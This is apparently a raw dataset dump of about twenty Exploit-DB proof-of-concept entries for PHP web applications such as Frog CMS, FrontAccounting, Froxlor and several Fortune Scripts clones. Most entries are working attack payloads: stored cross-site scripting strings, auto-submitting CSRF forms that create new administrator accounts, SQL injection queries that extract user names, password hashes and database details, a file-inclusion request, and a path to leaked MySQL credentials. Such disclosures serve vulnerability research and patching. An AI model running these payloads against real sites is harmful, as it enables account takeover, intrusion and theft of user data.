deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44551
Description: Frog CMS 0.9.5 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-04-26
Author: Wenming Jiang

Exploit:
# Exploit Title: Frog CMS 0.9.5 has a stored Cross Site Scripting Vulnerability via "Admin Site title" in Settings
# Date: 2018-04-23
# Exploit Author: Wenming Jiang
# Vendor Homepage: https://github.com/philippe/FrogCMS
# Software Link: https://github.com/philippe/FrogCMS
# Version: 0.9.5
# Tested on: php 5.6, apache2.2.29, macos 10.12.6
# CVE :CVE-2018-10321


Description:
Frog CMS 0.9.5 has a stored Cross Site Scripting Vulnerability when an attacker has access to Settings page, and enters the payload via "Admin Site title" in Settings.


Steps to replicate:
log into the system as an administrator role;
enter page: http://your_site/frogcms/admin/?/setting, and click Settings option;
navigate to "Admin Site title" section
enter payload as shown in below section:
Frog CMS1</a><img src=1 onerror="alert()" /><a>
visit http://your_site/frogcms/admin/?/login, you will triage JavaScript execution



Exploit Code:
Frog CMS1</a><img src=1 onerror="alert()" /><a>


Impacts:
Anyone who visit the target page will be affected to triage JavaScript code, including administrator, editor, developer, and guest.


Affected Version:
0.9.5


Affected URL:
http://your_site/frogcms/admin/?/login
Exploit-DB #17238
Description: Front Accounting 2.3.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-05-03
Author: AutoSec Tools

Exploit:
# Software................Front Accounting 2.3.4
# Vulnerability...........Cross-site Request Forgery
# Threat Level............Low (1/5)
# Download................http://frontaccounting.com/wb3/
# Discovery Date..........4/27/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
# 
# 
# --Description--
# 
# A cross-site request forgery vulnerability in Front Accounting 2.3.4
# can be exploited to create a new admin.
# 
# 
# --PoC-->

<html>
    <body onload="document.forms[0].submit()">
        <form method="POST" action="http://localhost/frontaccounting/admin/users.php?JsHttpRequest=0-xml">
            <input type="hidden" name="user_id" value="new_admin" />
            <input type="hidden" name="password" value="Password1" />
            <input type="hidden" name="real_name" value="x" />
            <input type="hidden" name="phone" value="x" />
            <input type="hidden" name="email" value="x@x.com" />
            <input type="hidden" name="role_id" value="2" />
            <input type="hidden" name="language" value="C" />
            <input type="hidden" name="pos" value="1" />
            <input type="hidden" name="print_profile" value="" />
            <input type="hidden" name="rep_popup" value="1" />
            <input type="hidden" name="ADD_ITEM" value="Add new" />
            <input type="hidden" name="_focus" value="user_id" />
            <input type="hidden" name="_modified" value="0" />
        </form>
    </body>
</html>
Exploit-DB #44137
Description: Front Accounting ERP 2.4.3 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2018-02-16
Author: Samrat Das

Exploit:
<!--
​​# Exploit Title: Front Accounting ERP 2.4.3 - CSRF
# Date: 16-02-2018
# Exploit Author: Samrat Das
# Contact: http://twitter.com/Samrat_Das93
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: frontaccounting.com
# Version: 2.4.3
# CVE : CVE-2018-7176
# Category: WebApp ERP

1. Description

The application source code is coded in a way which allows malicious
crafted HTML page to be executed directly without any anti csrf
countermeasures.

2. Proof of Concept

1.       Visit the application
2.       Visit the User Permissions Page.
3.        Goto add user, and create a csrf crafted exploit for the same ,
upon hosting it on a server and sending the link to click by victim, it
gets exploited.

Proof of Concept

Steps to Reproduce:

1. Create an HTML Page with the below exploit code:
-->

<html>
 <body>
    <form action="
http://localhost/frontaccounting/admin/users.php?JsHttpRequest=0-xml"
method="POST" enctype="text/plain">
      <input type="hidden" name="show&#95;inactive"
value="&user&#95;id&#61;Newadmin&password&#61;Newadmin&real&#95;name&#61;New&#37;20Admin&phone&#61;&email&#61;&role&#95;id&#61;8&language&#61;C&pos&#61;1&print&#95;profile&#61;&rep&#95;popup&#61;1&ADD&#95;ITEM&#61;Add&#37;20new&&#95;focus&#61;user&#95;id&&#95;modified&#61;0&&#95;confirmed&#61;&&#95;token&#61;Ta6aiT2xqlL2vg8u9aAvagxx&&#95;random&#61;757897&#46;[PII_REDACTED]"
/>
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<!--
2  This hosted page upon being clicked by an logged in admin user will lead
to creation of a new malicious admin user.

3 POCs and steps:
https://securitywarrior9.blogspot.in/2018/02/cross-site-request-forgery-front.html

4. Solution:

Implement anti csrf token code in state changing http requests and validate
it at server side.
-->
Exploit-DB #11727
Description: Front Door 0.4b - SQL Injection
Type: webapps
Platform: php
Date: 2010-03-14
Author: blake

Exploit:
# Software Link: http://sourceforge.net/projects/frontdoor/files/Front%20Door%20-%20BETA/Front%20Door%20-%20v0.4b/frontdoor-v0.4b.rar/download
# Version: 0.4b
# Tested on: Windows XP SP3 with MySQL


Login user name field is vulnerable to sql injection.
POC:
' OR username IS NOT NULL OR username = '
Exploit-DB #46037
Description: FrontAccounting 2.4.5 - 'SubmitUser' SQL Injection
Type: webapps
Platform: php
Date: 2018-12-24
Author: Sainadh Jamalpur

Exploit:
# Exploit Title: FrontAccounting 2.4.5 - 'SubmitUser' SQL Injection
# Google Dork: N/A
# Date: 2018-12-22
# Exploit Author: Sainadh Jamalpur
# Vendor Homepage: http://frontaccounting.com/
# Software Link: https://sourceforge.net/projects/frontaccounting/
# Version: 2.4.5
# Tested on: XAMPP version 3.2.2 in Windows 10 64bit, Kali linux X64
# CVE : N/A

# ========================= Vendor Summery =====================
#
# FrontAccounting (FA) is a professional web-based Accounting system for
# the entire ERP chain written in PHP, using MySQL. FA is multilingual and
# multicurrency.
#
# ======================== Vulnerability Description ===============
#
# the parameter "filterType" in /attachments.php is Vulnerable to Time
# Based Blind SQL Injection.
# 
# ======================== PoC =======================================

POST /frontaccounting/admin/attachments.php? HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0)
Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://localhost/frontaccounting/admin/attachments.php?
Content-Type: application/x-www-form-urlencoded
Content-Length: 367
DNT: 1
Connection: close
Cookie:
Upgrade-Insecure-Requests: 1
user_name_entry_field=admin&[CREDENTIAL_REDACTED]_login_name=0&ui_mode=1&SubmitUser=%A0%A0Login+--%3E%A0%A0&_random=[PII_REDACTED]43524&_token=1RJ9WhkRWKszXu-uPm6DTQxx&_confirmed=&_modified=0&_focus=filterType&ADD_ITEM=Add+new&description=&trans_no=&filterType=(select*from(select(sleep(20)))a)&_focus=filterType&_modified=0&_confirmed=&_token=Om-2mt32ZC3UkLAuzPwoFgxx
Exploit-DB #8900
Description: Frontis 3.9.01.24 - 'source_class' SQL Injection
Type: webapps
Platform: php
Date: 2009-06-08
Author: snakespc

Exploit:
             Viva l'Alg횄짤rie 3-1  --->Karim Matmour-->Abdel-Kader Ghazal-->Rafik al-Zuhair Jabbur-->
                                 F횄짤licitations 횄  tous les Alg횄짤riens
                                 L'Alg횄짤rie bat l'Egypte 3-1 횄  aller
                                     El akouba pour le retour
#-------------------------AllaH AkbaR-------------------------------
#Frontis V3.9.01.24 Remote SQL Injection Vulnerability
#-------------------------------------------------------------------
#Discovered By: Snakespc     ALGERIAN HaCkEr 
#Mail: snakespc@gmail.com
#Site:http://www.snakespc.com/sc/index.php
#
#            les Alg횄짤riens Kamikaz Wa4rin Fi kol Bla4s 
#-------------------------SNAKES TEAM-------------------------------
#Script:Frontis V3.9.01.24
#
#http://frontisgroup.com
#--------------------------SNAKES TEAM------------------------------
#Exploit:
#--------
#
#Demo:
#http://demo.frontisgroup.com/bin/aps_browse_sources.php?mode=browse_classes&source_class=1+UNION SELECT 1,group_concat(user_name,0x3a,user_pass,0x2e,user_email),3,4+from+login_table--
#
#-------------------------SNAKES TEAM-------------------------------
# Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4 --->Tous les Alg횄짤riens
#--------------------------SNAKES TEAM------------------------------
#ALL www.SnakespC.com/sc>>>> (  Members )  >>>>Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-06-08]
Exploit-DB #16051
Description: Froxlor 0.9.15 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-01-26
Author: DIES3L

Exploit:
# Exploit Title: Froxlor v 0.9.15 Remote file include vulnerbility
# Google Dork: © 2009-2010 by the Froxlor Team
# Date: 26/1/2011
# Author: DIES3L
# Software Link: http://www.froxlor.org
# Version: v 0.9.15
# Tested on: ubuntu + win7
# Email : zxn@Hotmail.com
#######################################################

Fichier : customer_ftp.php
http://localhost/[path]/customer_ftp.php

Code :
<?php
require ("./lib/init.php");

$id = intval($_POST['id']);
?>

Exploit :
http://127.0.0.1/[path]/customer_ftp.php?id= [ DIES3L.txt ]
NOTE :-
** ONLY FOR PHP 4.x.x

Have Enjoy :)

##############################################################
                                                             #
Gr33t'z t0 :                                                 #
WwW.p0c.cc - WwW.D99Y.CoM - WwW.v4-Team.com - ALL My Friends #
                                                             #
##############################################################
Exploit-DB #37725
Description: Froxlor Server Management Panel 0.9.33.1 - MySQL Login Information Disclosure
Type: webapps
Platform: php
Date: 2015-08-07
Author: Dustin Dörr

Exploit:
#------------------------------------------------------------------------------------------#
# Exploit Title: Froxlor Server Management Panel - MySQL Login Information Disclosure      #
# Date: Jul 30 2015                                                                        #
# Exploit Author: Dustin Dörr                                                              #
# Vendor Homepage: https://www.froxlor.org/                                                #
# Version: <= 0.9.33.1                                                                     #
#------------------------------------------------------------------------------------------#

An unauthenticated remote attacker is able to get the Froxlor MySQL password and username 
via webaccess due to wrong file permissions of the /logs/ folder in Froxlor version
0.9.33.1 and earlier. The plain MySQL password and username may be stored in the
/logs/sql-error.log file. This directory is publicly reachable by default.

some default URLs are:

- http://example.com/froxlor/logs/sql-error.log
- http://cp.example.com/logs/sql-error.log
- http://froxlor.example.com/logs/sql-error.log

the certain section looks like this:

/var/www/froxlor/lib/classes/database/class.Database.php(279):
PDO->__construct('mysql:host=127....', 'DATABASE_USER', 'DATABASE_PASSWORD', Array)

please note that the password in the logfile is truncated to 15 chars,
therefore passwords longer than 15 chars are not fully visible to an attacker.
Exploit-DB #39931
Description: FRticket Ticket System - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2016-06-13
Author: Hamit Abis

Exploit:
# Exploit Title: FRticket - Ticket System - Stored XSS
# Google Dork: [if applicable]
# Date: 11.06.2016
# Exploit Author: Hamit ABİŞ
# Vendor Homepage: http://codecanyon.net/item/frticket-ticket-system/16539836
# Version: v1

#########################################################################################################

About


Get the world’s most popular customer support ticket system. FRticket is basically a management of enquiries between customers , agents and admins


Features:


- Admin Panel Dashboard

- Email Templates

- Agent Assignment

- Status Management

- Priority Management

- Categories Management

- And More Coming Soon…


#########################################################################################################


##########################################################################################################
Proof of Concept - Stored Ticket Title

POST /ticket/public/ticket HTTP/1.1
Host: server
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Connection: keep-alive
_token=3XSACg1vDJQgzFCkVGk7nqE0HMOPlsuo7sbj5Z2y&subject=<svg onload=prompt(1)>&priority=2&category=2&description=somecomments

##########################################################################################################


Twitter: https://twitter.com/sar1nz
Exploit-DB #43035
Description: FS Amazon Clone - 'category_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-23
Author: 8bitsec

Exploit:
# Exploit Title: FS Amazon Clone - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/amazon-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
Frontrunner in the field of all the multi-vendor scripts.

Technical Details & Description:
================================

SQL injection on [category_id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/search.php?category_id=1 AND 2635=2635&sub_category_id=1&search=xxxxx

Parameter: category_id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: category_id=1 AND 2635=2635&sub_category_id=1&search=xxxxx

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: category_id=1 AND SLEEP(5)&sub_category_id=1&search=xxxxx

    Type: UNION query
    Title: Generic UNION query (NULL) - 15 columns
    Payload: category_id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71786a7071,0x714e746578554b6b4b[PII_REDACTED][PII_REDACTED]55457a6c6c576269474c[PII_REDACTED]466d6647695a,0x[PII_REDACTED]),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- JpGm&sub_category_id=1&search=xxxxx

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43259
Description: FS Amazon Clone 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-12-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: FS Amazon Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/amazon-clone/
# Demo: http://amazon-clone.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/p/VerAyari/[SQL]
# 
# -9++UNION(SELECT(1),(2),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16))--+-
# 
# http://server/p/VerAyari/-9++UNION(SELECT(1),(2),CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(4),(5),(6),(7),(8),(9),(10),(11),(12),(13),(14),(15),(16))--+-
# 
# # # # #
Exploit-DB #43036
Description: FS Book Store Script - 'category' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-23
Author: 8bitsec

Exploit:
# Exploit Title: FS Book Store Script - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/book-store-script/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
This is a robust platform for the booksellers and bookshop owners.

Technical Details & Description:
================================

SQL injection on [category] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/book_search.php?book_name=xxxxx&category=4 AND SLEEP(5)

Parameter: category (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: book_name=xxxxx&category=4 AND SLEEP(5)

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43034
Description: FS Car Rental Script - 'pickup_location' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-23
Author: 8bitsec

Exploit:
# Exploit Title: FS Car Rental Script - SQL Injection
# Date: 2017-10-23
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/car-rental-script/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
This is a versatile script to help you to launch a car rental website.

Technical Details & Description:
================================

SQL injection on [pickup_location] post parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/vehicle/

Parameter: pickup_location (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: pickup_location=7 AND 8531=8531&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: pickup_location=7 AND (SELECT 7390 FROM(SELECT COUNT(*),CONCAT(0x[PII_REDACTED],(SELECT (ELT(7390=7390,1))),0x71766a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: pickup_location=7 AND SLEEP(5)&pickup_date=2017-10-24 12:19:35&dropoff_date=2017-10-24 12:19:36

==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43050
Description: FS Care Clone - 'sitterService' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-24
Author: 8bitsec

Exploit:
# Exploit Title: FS Care Clone - 'sitterService' SQL Injection
# Date: 2017-10-24
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/care-clone/
# Version: 24 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-24

Product & Service Introduction:
===============================
This product brings the most ideal solution to launch a portal dealing with every aspect of hiring care in a hasslefree manner.

Technical Details & Description:
================================

SQL injection on [sitterService] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/searchJob.php?sitterService=1' AND 2728=2728 AND 'fhir'='fhir

Parameter: sitterService (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: sitterService=1' AND 2728=2728 AND 'fhir'='fhir
    
==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43258
Description: FS Care Clone 1.0 - 'jobFrequency' / 'jobType' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: FS Care Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/care-clone/
# Demo: http://care-clone.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/searchJob.php?jobType=[SQL]&jobFrequency=[SQL]
# 
# # # # #
Exploit-DB #43051
Description: FS Crowdfunding Script - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-24
Author: 8bitsec

Exploit:
# Exploit Title: FS Crowdfunding Script - 'id' SQL Injection
# Date: 2017-10-24
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/crowdfunding-script/
# Version: 24 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-24

Product & Service Introduction:
===============================
Fortune Crowdfunding Script is a popular crowdfunding script developed in jQuery, PHP and MySQL.

Technical Details & Description:
================================

SQL injection on [id] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/page_running_projects_details.php?id=11' AND 5391=5391 AND 'Qkwz'='Qkwz

Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=11' AND 5391=5391 AND 'Qkwz'='Qkwz
    
==================
8bitsec - [https://twitter.com/_8bitsec]
Exploit-DB #43257
Description: FS Crowdfunding Script 1.0 - 'latest_news_details.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2017-12-09
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: FS Crowdfunding Script 1.0 - SQL Injection
# Dork: N/A
# Date: 08.12.2017
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/crowdfunding-script/
# Demo: http://crowdfunding.demonstration.co.in/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/latest_news_details.php?id=[SQL]
# 
# -4'++UNION+ALL+SELECT+1,2,3,4,5,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+-
# 
# http://server/latest_news_details.php?id=-4'++UNION+ALL+SELECT+1,2,3,4,5,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),(/*!08888Select*/+export_set(5,@:=0,(/*!08888select*/+count(*)/*!08888from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!08888table_name*/,0x3c6c693e,2),/*!08888column_name*/,0xa3a,2)),@,2))--+-
# 
# # # # #